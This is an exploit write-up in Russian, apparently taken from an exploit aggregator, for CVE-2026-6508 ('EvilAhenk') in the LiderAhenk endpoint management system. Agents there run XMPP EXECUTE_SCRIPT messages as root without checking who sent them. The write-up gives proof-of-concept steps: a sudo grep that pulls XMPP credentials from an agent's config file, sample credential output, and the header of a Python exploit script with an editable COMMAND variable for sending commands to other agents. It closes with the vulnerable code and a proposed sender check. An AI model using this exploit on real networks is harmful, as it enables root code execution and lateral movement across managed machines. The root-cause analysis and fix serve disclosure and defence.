## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-JACKALKARLOS-EVILAHENK
# CVE-2026-6508
EvilAhenk — это критическая уязвимость безопасности в архитектуре централизованной системы управления LiderAhenk, позволяющая любому клиенту (агенту) выполнять код с привилегиями root на других конечных устройствах (Unauthorized RCE & Lateral Movement).
## Как работает система
В LiderAhenk панель управления/центральный сервер отправляет агентам сообщения о задачах и политиках через XMPP.
* Панель центрального управления подключается к XMPP-серверу от имени авторизованного пользователя.
* Агенты `ahenk` на клиентах также подключаются к той же XMPP-инфраструктуре.
* Центр отправляет целевому агенту сообщения типа `EXECUTE_POLICY`, `EXECUTE_TASK` или `EXECUTE_SCRIPT`.
* Агент-клиент получает и выполняет эти сообщения.
Таким образом, XMPP является транспортным каналом для управляющего трафика. Команды с панели управления обычно доставляются клиентам через этот канал.
## Разница между ожидаемым и уязвимым потоком
Ожидаемый поток:
root@kitploit:~
Lider/Ahenk yonetim paneli -> XMPP sunucusu -> hedef agent
Уязвимый поток:
* `ct-2` — легитимный клиент, подключённый к тому же XMPP-серверу.
* `ct-2` отправляет XMPP-серверу сообщение `EXECUTE_SCRIPT`, адресованное JID `ct-1`.
* XMPP-сервер перенаправляет сообщение агенту `ct-1`.
* `ct-1` выполняет команду, не проверяя, действительно ли сообщение пришло от `lider_sunucu`.
* Команда выполняется от root, так как `ahenk.service` работает с привилегиями root.
root@kitploit:~
ct-2 veya baska bir XMPP hesabi -> XMPP sunucusu -> ct-1 agent -> root komut
То есть мы не взламываем сам XMPP-слой. XMPP-сервер выполняет обычную маршрутизацию сообщений. Проблема в том, что агент Ahenk на стороне `ct-1` не проверяет, действительно ли входящее сообщение пришло от авторизованной учётной записи управления.
## PoC
root@kitploit:~
pip install slixmpp
На скомпрометированном клиенте, подключённом к центральной системе управления, собираются следующие данные:
root@kitploit:~
sudo grep -E '^(uid|password|host|port|servicename|receiverjid|use_tls)' /etc/ahenk/ahenk.conf
Пример вывода:
root@kitploit:~
uid = pardus-ct-2
password = e0c5a52e-36c2-31fc-ad0b-e9ceabbf3401
host = 192.168.100.13
port = 5222
use_tls = false
receiverjid = lider_sunucu
servicename = im.liderahenk.org
Обновляем файл Main.py в соответствии с полученными данными: домен im.liderahenk.org, целевой uid pardus-ct-1.
root@kitploit:~
- XMPP user: `some-email@example.com`
- XMPP password: `e0c5a52e-36c2-31fc-ad0b-e9ceabbf3401`
- XMPP host: `192.168.100.13`
- XMPP port: `5222`
- Varsayilan hedef: `some-email@example.com`
Команду для выполнения на целевой машине можно изменить, отредактировав переменную COMMAND.
root@kitploit:~
root@pardus-ct-2:/home/pardus-ct-2# cat xp.py | head -n 11
#!/usr/bin/env python3
import asyncio
import json
from slixmpp import ClientXMPP
XMPP_USER = "some-email@example.com"
XMPP_PASS = "e0c5a52e-36c2-31fc-ad0b-e9ceabbf3401"
TARGET_JID = "some-email@example.com"
XMPP_HOST = "192.168.100.13"
XMPP_PORT = 5222
COMMAND = "id > /tmp/who; false"
## Уязвимый код
В `repos/ahenk/src/base/messaging/messenger.py` входящее сообщение обрабатывается только по полю `type`. Проверка авторизованного отправителя по `msg['from']` отсутствует:
root@kitploit:~
def recv_direct_message(self, msg):
if msg['type'] in ['normal']:
j = json.loads(str(msg['body']))
message_type = j['type']
self.event_manger.fireEvent(message_type, str(msg['body']))
В `repos/ahenk/src/base/execution/execution_manager.py` обработка `EXECUTE_SCRIPT` напрямую приводит к выполнению команды:
root@kitploit:~
def execute_script(self, arg):
json_data = json.loads(arg)
result_code, p_out, p_err = Util.execute(str(json_data['command']))
Сочетание этих двух частей даёт следующий эффект:
* XMPP-сервер доставляет сообщение целевому агенту.
* Агент-жертва запускает событие `EXECUTE_SCRIPT` без проверки отправителя.
* Команда выполняется от root.
Возможное исправление на уровне архитектуры:
root@kitploit:~
def recv_direct_message(self, msg):
if msg['type'] != 'normal':
return
allowed_sender = self.receiver.split('/')[0]
actual_sender = msg['from'].bare
if actual_sender != allowed_sender:
self.logger.warning("Rejected message from %s", actual_sender)
return
j = json.loads(str(msg['body']))
self.event_manger.fireEvent(j['type'], str(msg['body']))